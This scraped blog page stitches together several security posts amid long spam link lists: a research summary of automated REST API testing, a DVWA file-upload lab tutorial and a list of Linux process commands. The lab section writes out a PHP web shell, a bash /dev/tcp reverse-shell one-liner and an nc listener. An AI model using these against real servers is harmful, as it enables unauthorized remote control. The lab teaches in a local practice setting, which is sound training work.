miércoles, 31 de mayo de 2023

Automating REST Security Part 3: Practical Tests For Real-World APIs

Automating REST Security Part 3: Practical Tests for Real-World APIs

If you have read our two previous blogposts, you should now have a good grasp on the structural components used in REST APIs and where there are automation potentials for security analysis. You've also learned about REST-Attacker, the analysis tool we implemented as a framework for automated analysis.

In our final blogpost, we will dive deeper into practical testing by looking at some of the automated analysis tests implemented in REST-Attacker. Particularly, we will focus on three test categories that are well-suited for automation. Additionally, we will look at test results we acquired, when we ran these tests on the real-world API implementation of the services GitHub, Gitlab, Microsoft, Spotify, YouTube, and Zoom.

Author

Christoph Heine

Overview

Undocumented Operations

The first test that we are going to look at is the search for undocumented operations. These encompass all operations that accessible to API clients despite not being listed in the API documentation. For public-facing APIs, undocumented operations are a security risk because they can expose functionality of the service that clients are not supposed to access. Consequences can range from information leakage to extensive modification or even destruction of the resources managed by the underlying service.

A good example for an operation that should not be available is write access to the product information of a webshop API. While read operations on stock amounts, prices, etc. of a product are perfectly fine, you probably don't want to give clients the ability to change said information.

In HTTP-based REST, operations are represented by the HTTP methods used in the API request (as explained in Part 1 of the blog series). Remember that API requests are essentially HTTP requests which consist of HTTP method (operation), URI path (resource address) and optional header or body data.

GET /api/shop/items 

We can use the fact that REST operations are components from the HTTP standard to our advantage. First of all, we know that the set of possible operations is the same for all HTTP-based REST APIs (no matter their service-specific context) since each operation should map to a standardized HTTP method. As a result, we also have a rough idea what each operation does when it's applied to a resource, since it's based on the assigned purpose of the HTTP method. For example, we can infer that the DELETE method performs a destructive action a resource or that GET provides a form of read access. It also helps that in practice most APIs only use the same 4 or 5 HTTP methods representing the CRUD operations: GET, POST, PUT, PATCH, and DELETE.

If we know a URI path to a resource in the API, we can thus enumerate all possible API requests, simply by combining the URI with all possible HTTP methods:

GET    /api/shop/items POST   /api/shop/items PUT    /api/shop/items PATCH  /api/shop/items DELETE /api/shop/items 

REST-Attacker's test case undocumented.TestAllowedHTTPMethod uses the same approach to find undocumented operations. With an OpenAPI description, the generation of API requests is extremely to automate as the description lists all defined URI paths. Since the API description also documents the officially supported operations, we can slightly optimize the search by only generating API requests for operations not documented for a path (which basically are the candicates for undocumented operations).

To find out whether an undocumented operation exist, we have to determine if the generated API requests are successful. Here, we can again rely on a standard HTTP components that are used across REST APIs. By checking the HTTP response code of the API, we can see whether the API request was rejected or accepted. Since the response codes are standardized like the HTTP methods, we can also make general assumptions based on the response code received. If the operation in the API request is not available, we would expect to get the dedicated response code 405 - Method Not Allowed in the response. Other 4XX response codes can also indicate that the API request was unsuccessful for other reasons. If the operation is accepted, we would expect the API response to contain a 2XX response code.

Using the same approach, we let REST-Attacker search for undocumented operations in all 6 APIs we tested. None of them exposed undocumented operations that could be identified by the tool, which means they would be considered safe in regards to this test. However, it's interesting to see that the APIs could responded very differently to the API requests sent by the tool, especially when considering the response codes.

API Response Codes
GitHub 401, 404
Gitlab 400, 404
MS Graph 400, 401, 403, 404
Spotify 405
YouTube 404
Zoom 400, 401, 403, 404, 405

Spotify's API was the only one that used the 405 response code consistently. Other APIs returned 400, 401, 403, or 404, sometimes depending on the path used in the the API request. It should be noted that the APIs returned 401 - Unauthorized or 403 - Forbidden response codes even when supplying credentials with the highest possible level of authorization. An explanation for this behaviour could be that the internal access checks of the APIs work differently. Instead of checking whether an operation on a resource is allowed, they may check whether the client sending the request is authorized to access the resource.

Credentials Exposure

Excessive Data Exposure from OWASP's Top 10 API Security Issues is concerned with harmful "verbosity" of APIs. In other words, it describes a problem where API responses contain more information than they should return (hence excessive exposure). Examples for excessive data exposure include leaks of private user data, confidential data about the underlying service, or security parameters of the API. What counts as excessive exposure can also depend on the application context of the underlying service.

Since the definition of excessive data exposure is very broad, we will focus on a particular type of data for our practical test: Credentials. Not only do credentials exist in some form for almost any service, their exposure would also have a significant impact on the security of the API and its underlying service. Exposed credentials may be used to gain higher privileges or even account takeovers. Therefore, they are a lucrative target for attacks.

There are several credential types that can be interesting for attackers. Generally, they fit into these categories:

  • long-term credentials (e.g., passwords)
  • short-term credentials (e.g., session IDs, OAuth2 tokens)
  • service-specific credentials for user content (e.g., passwords for files on a file-hosting service)

Long- and short-term credentials should probably never be returned under any circumstances. Service-specific credentials may be less problematic in some specific circumstances, but should still be handled with care as they could be used to access resources that would otherwise be inaccessible to an API client.

The question is: Where can we start looking for exposed credentials? Since they would be part of the API responses, we could scrape the parameters in the response content. However, we may not actually need to look at any response values. Instead, we can examine the parameter names and check for association with credentials. For example, a parameter names "password" would likely contain a type of credential. The reason this can work is that parameter names in APIs are generally descriptive and human-readable, a side effect of APIs often being intended to be used by (third-party) developers.

In REST-Attacker, credentials parameter search is implemented by the resources.FindSecurityParameters test case. The test case actually only implements an offline search using the OpenAPI description, as the response parameter names can also be found there. The implementation iterates through the response parameter names of each API endpoint and matches them to keywords associated with credentials such as "pass", "auth" or "token". This naive approach is not very accurate and can produce a number of false-positives, so the resulting list of parameters has to be manually checked. However, the number of candidates is usually small enough to be searched in a small amount of time, even if the API defines thousands of unique response parameters.

API Parameter Count Candidates long-term short-term service-specific
GitHub 2110 39 0 0 0
Gitlab 1291 0 0 0 0
MS Graph 32199 117 0 0 0
Spotify 290 6 0 0 0
YouTube 703 6 0 0 0
Zoom 800 96 0 0 2

5 out of 6 APIs we tested had no problems with exposed credentials.

Zoom's API was the only one which showed signs of problematic exposure of service-specific credentials by returning the default meeting password for meetings created via the API at an endpoint. It should be noted that this information was only available to approved clients and an required authorized API request. However, the credentials could be requested with few priviledges. Another problem was that Zoom did not notify users that this type of information was accessible to third-party clients.

Default Access Priviledges

The last test category that we are going to look at addresses the access control mechanisms of REST APIs. Modern access control methods such as OAuth2 allow APIs to decide what minimum priviledges they require for each endpoint, operation, or resource. In the same way, it gives them fine-grained control on what priviledges are assigned to API clients. However, for fine-grained control to be impactful, APIs need to carefully decide which priviledges they delegate to clients by default.

But why is it important that APIs assigned do not grant too many priviledges by default? The best practice for authorization is to operate on the so-called least priviledge principle. Basically, this means that a client or user should only get the minimum necessary priviledges required for the respective task they want to do. For default priviledges, the task is usually unspecified, so there are no necessary priviledges. In that case, we would expect an API to grant either no priviledges or the overall lowest functional priviledge level.

If the API uses OAuth2 as its access control method, we can easily test what the API considers default priviledges. In OAuth2, clients can request a specific level of priviledge via the scope parameter in the initial authorization request.

Including the scope parameter in the request is optional. If it's omitted, the API can deny the authorization request or - and that's what we are interested in - decide which scope it assigns to the authorization token returned to the client. By analyzing the default scope value, we can see whether the API adheres to the least priviledge principle.

REST-Attacker can automatically retrieve this information for configured OAuth2 clients with the scopes.TestTokenRequestScopeOmit test case. For every configured OAuth2 client, an authorization request without the scope parameter is sent to the OAuth2 authorzation endpoints of the API. The tool then extracts the scope that is assigned to the returned OAuth2 token. This scope value then has to be manually analyzed.

Out of the 6 APIs we tested, 2 (MS Graph and YouTube) denied requests without a scope parameter. The other 4 APIs (GitHub, Gitlab, Spotify, and Zoom) allowed omitting the scope parameter. Therefore, only the latter 4 APIs assigned default prviledges that could be analyzed.

API Assigned Scope Least Priviledge?
GitHub (none) Yes
Gitlab api No
Spotify (default) Yes*
Zoom all approved No

* OAuth2 scope with least priviledges

Interestingly, the extent to which a least priviledge principle was followed varied between APIs.

GitHub's API assigned the overall lowest possible priviledges by default via the (none) scope. With this scope, a client could only access API endpoints that were already publicly accessible (without providing authorization). While the scope does not grant more priviledges than a public client would get, the (none) scope had other benefits such as an increased rate limit.

In comparison, the Spotify API had no publicly accessible API endpoints and required authorization for every request. By default, tokens were assigned a "default" scope which was the OAuth2 scope with the lowest available priviledges and allowed clients to access several basic API endpoints.

Gitlab's and Zoom's API went into the opposite direction and assigned the highest priviledge to their clients by default. In Gitlab's case, this was the api scope which allowed read and write access to all API endpoints. Zoom required a pre-approval of scopes that the client wants to access during client registration. After registration, Zoom returned all approved scopes by default.

Conclusion

We've seen that while REST is not a clarly defined standard, this does not result in REST APIs being too complex for a generalized automated analysis. The usage of standardized HTTP components allows the design of simple yet effective tests that work across APIs. This also applies to other components that are used across APIs such as access control mechanisms like OAuth2. The practical tests we discussed worked on all APIs we tested, even if their underlying application contexts were different. However, we've also seen that most of the APIs were generally safe against these tests.

Tool-based automation could certainly play a much larger role in REST security, not only for finding security issues but also for filtering results and streamlining otherwise manual tasks. In the long run, this will hopefully also result in an increase in security.

Acknowledgement

The REST-Attacker project was developed as part of a master's thesis at the Chair of Network & Data Security of the Ruhr University Bochum. I would like to thank my supervisors Louis Jannett, Christian Mainka, Vladislav Mladenov, and Jörg Schwenk for their continued support during the development and review of the project.

Related articles

  1. Hacking Tools Windows
  2. Hacks And Tools
  3. Pentest Tools Android
  4. Hack Rom Tools
  5. New Hacker Tools
  6. Hacker Tools For Pc
  7. Tools 4 Hack
  8. Hack Tools For Games
  9. Hacker Tools Mac
  10. Hack And Tools
  11. Hack Tool Apk No Root
  12. Pentest Tools Android
  13. Hak5 Tools
  14. Hack Tools For Ubuntu
  15. Hacking Tools
  16. Hack Tools For Games
  17. Computer Hacker
  18. Hack App
  19. Hacker Tools Online
  20. Hacking Tools Kit
  21. Hacker Tools 2019
  22. Hack Tools
  23. How To Make Hacking Tools
  24. Hack Tools Download
  25. Pentest Tools Framework
  26. Hackers Toolbox
  27. Hacker Tools For Mac
  28. Github Hacking Tools
  29. Hack App
  30. Hacking Tools Name
  31. Hack Tools
  32. Pentest Tools Github
  33. Nsa Hacker Tools
  34. Pentest Box Tools Download
  35. Hacking Tools Free Download
  36. Hacking Tools For Beginners
  37. Hacks And Tools
  38. World No 1 Hacker Software
  39. Hacker Tools Apk
  40. Hacking Tools Windows 10
  41. Hack Tools
  42. Hacker Tools Online
  43. Pentest Tools Tcp Port Scanner
  44. What Are Hacking Tools
  45. Hacking Tools For Beginners
  46. Hacking Tools For Windows Free Download
  47. Hacker Tools For Pc
  48. Hacker Tools For Windows
  49. Pentest Tools Find Subdomains
  50. Android Hack Tools Github
  51. Hack Tools Mac
  52. Hacking Tools Mac
  53. Pentest Tools For Windows
  54. Pentest Tools Review
  55. Hack Tools For Ubuntu
  56. Hacking Tools Windows
  57. Hacking Tools And Software
  58. Hack Tools For Games
  59. Hacking Tools Hardware
  60. Beginner Hacker Tools
  61. Hacking Tools 2019
  62. Hack Tools Download
  63. Hacker Hardware Tools
  64. Bluetooth Hacking Tools Kali
  65. Hacking Tools Kit
  66. Pentest Tools For Ubuntu
  67. Hacker Tools For Pc
  68. Pentest Tools For Mac
  69. Pentest Reporting Tools
  70. Best Hacking Tools 2019
  71. Hack Tools For Pc
  72. Hack Tools For Pc
  73. Hacking Tools For Beginners
  74. Hacking Tools Windows 10
  75. Hacking Apps
  76. Usb Pentest Tools
  77. Hack Tools
  78. Hacker Security Tools
  79. Hacking Tools Hardware
  80. Hacker Tools List
  81. Pentest Tools Framework
  82. Pentest Tools Open Source
  83. Hack Rom Tools
  84. Hack App
  85. Hack App
  86. Hacker Hardware Tools
  87. Free Pentest Tools For Windows
  88. Hacking Tools Windows 10
  89. Pentest Box Tools Download
  90. Hacking Tools And Software
  91. Hacking Tools And Software
  92. Pentest Tools Nmap
  93. Pentest Tools Linux
  94. Best Hacking Tools 2020
  95. Physical Pentest Tools
  96. Hack Tools Github
  97. Hacking Tools Free Download
  98. Hacking Tools For Windows 7
  99. Hack Tools Pc
  100. Physical Pentest Tools
  101. Hacking Tools For Windows Free Download
  102. Hacker Tools Hardware
  103. Hack Tool Apk
  104. Hacker Tools 2019
  105. Hack Tools
  106. Hacking Tools Mac
  107. Best Hacking Tools 2019
  108. Hacking Tools Usb
  109. Hack Tools For Pc
  110. Hacking Tools For Windows
  111. Hack Tools For Pc
  112. Hacking Tools For Windows
  113. Hacker Tools
  114. Best Pentesting Tools 2018
  115. Hacker Tools For Windows
  116. Hack Tools For Pc
  117. Hack Tool Apk
  118. How To Hack
  119. Hacker Tools
  120. Hack Tools For Mac

Learning Web Pentesting With DVWA Part 5: Using File Upload To Get Shell

In today's article we will go through the File Upload vulnerability of DVWA. File Upload vulnerability is a common vulnerability in which a web app doesn't restrict the type of files that can be uploaded to a server. The result of which is that a potential adversary uploads a malicious file to the server and finds his/her way to gain access to the server or perform other malicious activities. The consequences of Unrestricted File Upload are put out by OWASP as: "The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, client-side attacks, or simple defacement. It depends on what the application does with the uploaded file and especially where it is stored."
For successful vulnerability exploitation, we need two things:
1. An unrestricted file upload functionality.
2. Access to the uploaded file to execute the malicious code.
To perform this type of attack on DVWA click on File Upload navigation link, you'll be presented with a file upload form like this:
Lets upload a simple text file to see what happens. I'll create a simple text file with the following command:
echo TESTUPLOAD > test.txt 
and now upload it.
The server gives a response back that our file was uploaded successfully and it also gives us the path where our file was stored on the server. Now lets try to access our uploaded file on the server, we go to the address provided by the server which is something like this:
http://localhost:9000/hackable/uploads/test.txt 
and we see the text we had written to the file. Lets upload a php file now since the server is using php. We will upload a simple php file containing phpinfo() function. The contents of the file should look something like this.
<?php phpinfo(); ?> 
Save the above code in a file called info.php (you can use any name) and upload it. Now naviagte to the provided URL:
http://localhost:9000/hackable/uploads/info.php 
and you should see a phpinfo page like this:
phpinfo page contains a lot of information about the web application, but what we are interested in right now in the page is the disable_functions column which gives us info about the disabled functions. We cannot use disabled functions in our php code. The function that we are interested in using is the system() function of php and luckily it is not present in the disable_functions column. So lets go ahead and write a simple php web shell:
<?php system($_GET["cmd"]); ?> 
save the above code in a file shell.php and upload it. Visit the uploaded file and you see nothing. Our simple php shell is looking for a "cmd" GET parameter which it passes then to the system() function which executes it. Lets check the user using the whoami command as follows:
http://localhost:9000/hackable/uploads/shell.php?cmd=whoami 
we see a response from the server giving us the user under which the web application is running.
We can use other bash commands such as ls to list the directories. Lets try to get a reverse shell now, we can use our existing webshell to get a reverse shell or we can upload a php reverse shell. Since we already have webshell at our disposal lets try this method first.
Lets get a one liner bash reverseshell from Pentest Monkey Reverse Shell Cheat Sheet and modify it to suit our setup, but we first need to know our ip address. Enter following command in a terminal to get your ip address:
ifconfig docker0 
the above command provides us information about our virtual docker0 network interface. After getting the ip information we will modify the bash one liner as:
bash -c 'bash -i >& /dev/tcp/172.17.0.1/9999 0>&1' 
here 172.17.0.1 is my docker0 interface ip and 9999 is the port on which I'll be listening for a reverse shell. Before entering it in our URL we need to urlencode it since it has some special characters in it. After urlencoding our reverse shell one liner online, it should look like this:
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27 
Now start a listener on host with this command:
nc -lvnp 9999 
and then enter the url encoded reverse shell in the cmd parameter of the url like this:
http://localhost:9000/hackable/uploads/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27 
looking back at the listener we have a reverse shell.
Now lets get a reverse shell by uploading a php reverse shell. We will use pentest monkey php reverse shell which you can get here. Edit the ip and port values of the php reverse shell to 172.17.0.1 and 9999. Setup our netcat listener like this:
nc -lvnp 9999 
and upload the reverse shell to the server and access it to execute our reverse shell.
That's it for today have fun.

References:

  1. Unrestricted File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
  2. Reverse Shell Cheat Sheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
  3. Php Reverse Shell (Pentest Monkey): https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

Continue reading


  1. Hacker Tools
  2. Easy Hack Tools
  3. World No 1 Hacker Software
  4. Hackrf Tools
  5. Hack Tools Github
  6. Termux Hacking Tools 2019
  7. Termux Hacking Tools 2019
  8. Hack Tools For Pc
  9. Pentest Tools Free
  10. Hacking Tools For Windows Free Download
  11. Hacker Tools 2019
  12. Pentest Tools Windows
  13. Beginner Hacker Tools
  14. Hacking Tools 2020
  15. Hacking Tools For Beginners
  16. Ethical Hacker Tools
  17. Hacker Tools Apk
  18. Bluetooth Hacking Tools Kali
  19. Hacking Tools For Pc
  20. Pentest Tools List
  21. Pentest Tools Port Scanner
  22. Hacking Tools Windows
  23. Hack App
  24. Growth Hacker Tools
  25. Hacking Tools For Games
  26. Hack Apps
  27. Pentest Tools For Android
  28. Hack Tools Online
  29. Hacker Tools List
  30. Hack Tool Apk
  31. Easy Hack Tools
  32. Hacking Tools Usb
  33. Hacking Tools Pc
  34. Best Pentesting Tools 2018
  35. Pentest Tools Subdomain
  36. Hack Tools 2019
  37. Pentest Tools Nmap
  38. Hack Tools For Windows
  39. Hacking Tools For Beginners
  40. Hacker Security Tools
  41. New Hack Tools
  42. Hack Tools For Ubuntu
  43. Hacking Tools For Mac
  44. Hacker Tools List
  45. Tools 4 Hack
  46. Hacking Tools For Kali Linux
  47. Pentest Tools
  48. Best Pentesting Tools 2018
  49. Hacking Tools For Windows
  50. Hacker Tools Apk
  51. Blackhat Hacker Tools
  52. Ethical Hacker Tools
  53. Pentest Tools For Android
  54. Install Pentest Tools Ubuntu
  55. Hack Rom Tools
  56. Hacking Apps
  57. Pentest Automation Tools
  58. Hacking Tools For Windows
  59. Hack Tools
  60. New Hacker Tools
  61. Hacking Tools Software
  62. Hack And Tools
  63. Hacking Tools For Windows 7
  64. Hacking Tools Github
  65. Hacker Hardware Tools
  66. Pentest Tools Website Vulnerability
  67. Top Pentest Tools
  68. Underground Hacker Sites
  69. Hacker Tools For Ios
  70. Free Pentest Tools For Windows
  71. Bluetooth Hacking Tools Kali
  72. Beginner Hacker Tools
  73. Hacking Tools For Windows
  74. Hacker Tools Mac
  75. Best Pentesting Tools 2018
  76. Hacking Tools Kit
  77. Best Pentesting Tools 2018
  78. Pentest Tools Open Source
  79. Pentest Tools For Android
  80. How To Install Pentest Tools In Ubuntu
  81. Hacking Tools For Kali Linux
  82. Hacking Tools Windows 10
  83. Hacker Tools Free Download
  84. Hacking Tools Software
  85. Pentest Tools Open Source
  86. Hacker Tool Kit
  87. Hack Tools Github
  88. New Hacker Tools
  89. Pentest Tools Bluekeep
  90. Pentest Tools Apk
  91. Install Pentest Tools Ubuntu
  92. Hacking Apps
  93. Growth Hacker Tools
  94. Hacking Tools For Windows
  95. Pentest Box Tools Download
  96. Pentest Box Tools Download
  97. Hack And Tools
  98. Hacker Tools Github
  99. Hacking Tools For Kali Linux
  100. Blackhat Hacker Tools
  101. Physical Pentest Tools
  102. Hacker Tools Apk Download
  103. Hackers Toolbox
  104. New Hack Tools
  105. Hacking Tools Mac
  106. Hack Tools Github
  107. Growth Hacker Tools
  108. Hacks And Tools
  109. Blackhat Hacker Tools
  110. Pentest Tools Online
  111. New Hacker Tools
  112. Pentest Tools Bluekeep
  113. Hacker Tools Free
  114. Hack Tools For Games
  115. Pentest Tools Website
  116. Hacking Tools Windows 10
  117. Pentest Reporting Tools
  118. Nsa Hack Tools Download
  119. Best Pentesting Tools 2018

Top Process Related Commands In Linux Distributions


Commands in Linux are just the keys to explore and close the Linux. As you can do things manually by simple clicking over the programs just like windows to open an applications. But if you don't have any idea about commands of Linux and definitely you also don't know about the Linux terminal. You cannot explore Linux deeply. Because terminal is the brain of the Linux and you can do everything by using Linux terminal in any Linux distribution. So, if you wanna work over the Linux distro then you should know about the commands as well. In this blog you will exactly get the content about Linux processes commands which are are given below.

ps

The "ps" command is used in Linux to display your currently active processes over the Linux based system. It will give you all the detail of the processes which are active on the system.

ps aux|grep

The "ps aux|grep" command is used in Linux distributions to find all the process id of particular process like if you wanna know about all the process ids related to telnet process then you just have to type a simple command like "ps aux|grep 'telnet'". This command will give you the details about telnet processes.

pmap

The "pmap" command in Linux operating system will display the map of processes running over the memory in Linux based system.

top

The "top" command is used in Linux operating system to display all the running processes over the system's background. It will display all the processes with process id (pid) by which you can easily kill/end the process.

Kill pid

Basically the kill command is used to kill or end the process or processes by simply giving the process id to the kill command and it will end the process or processes. Just type kill and gave the particular process id or different process ids by putting the space in between all of them. kill 456 567 5673 etc.

killall proc

The "killall proc" is the command used in Linux operating system to kill all the processes named proc in the system. Killall command just require a parameter as name which is common in some of the processes in the system.

bg

The "bg" is the command used in Linux distributions to resume suspended jobs without bringing them to foreground.

fg

The "fg" command is used in Linux operating system to brings the most recent job to foreground. The fg command also requires parameters to do some actions like "fg n" n is as a parameter to fg command that brings job n to the foreground.

More information


  1. Pentest Tools Framework
  2. Pentest Tools Github
  3. Hacker Tools Online
  4. Pentest Tools Find Subdomains
  5. Hacker Tools For Ios
  6. Hacking Tools Download
  7. Hacking Tools 2019
  8. Hacking Tools Github
  9. Hacking Tools For Beginners
  10. Hacker Tools For Windows
  11. Hacker Search Tools
  12. Growth Hacker Tools
  13. Install Pentest Tools Ubuntu
  14. Hacker Tools Windows
  15. New Hack Tools
  16. Pentest Tools Linux
  17. Hacker Tools Free Download
  18. Pentest Tools Port Scanner
  19. Pentest Tools For Ubuntu
  20. Hacker Tools Github
  21. Ethical Hacker Tools
  22. Pentest Tools Alternative
  23. Hacking Tools For Mac
  24. Free Pentest Tools For Windows
  25. Pentest Tools Website
  26. Hacking Tools Name
  27. Pentest Tools Github
  28. Pentest Tools Subdomain
  29. Black Hat Hacker Tools
  30. Hack Tools Mac
  31. Nsa Hack Tools Download
  32. Hacking Tools Mac
  33. Hacking Tools Usb
  34. Nsa Hack Tools
  35. Hacking Tools Usb
  36. Hacking Tools Download
  37. Hacking Tools Usb
  38. Hacking Tools Github
  39. Hacking Tools For Beginners
  40. Pentest Tools Find Subdomains
  41. Hacker Tool Kit
  42. Hacking Tools And Software
  43. Android Hack Tools Github
  44. Underground Hacker Sites
  45. Pentest Tools Alternative
  46. Pentest Tools Alternative
  47. Hacker Search Tools
  48. Pentest Recon Tools
  49. Pentest Tools Framework
  50. Usb Pentest Tools
  51. Hacker Search Tools
  52. Tools 4 Hack
  53. Hacker Tools Apk Download
  54. Usb Pentest Tools
  55. Hacker Tools Free
  56. Best Hacking Tools 2020
  57. Pentest Tools For Mac
  58. Hack Tools For Windows
  59. Hack Tools Github
  60. New Hacker Tools
  61. Pentest Tools Review
  62. Pentest Tools Linux
  63. Hack Tools For Ubuntu
  64. Hacking Tools Github
  65. Pentest Tools For Ubuntu
  66. Hacker Tools Online
  67. Hacker Techniques Tools And Incident Handling
  68. Underground Hacker Sites
  69. Hacking Tools For Windows 7

martes, 30 de mayo de 2023

Hackerhubb.blogspot.com

Hackerhubb.blogspot.com

More information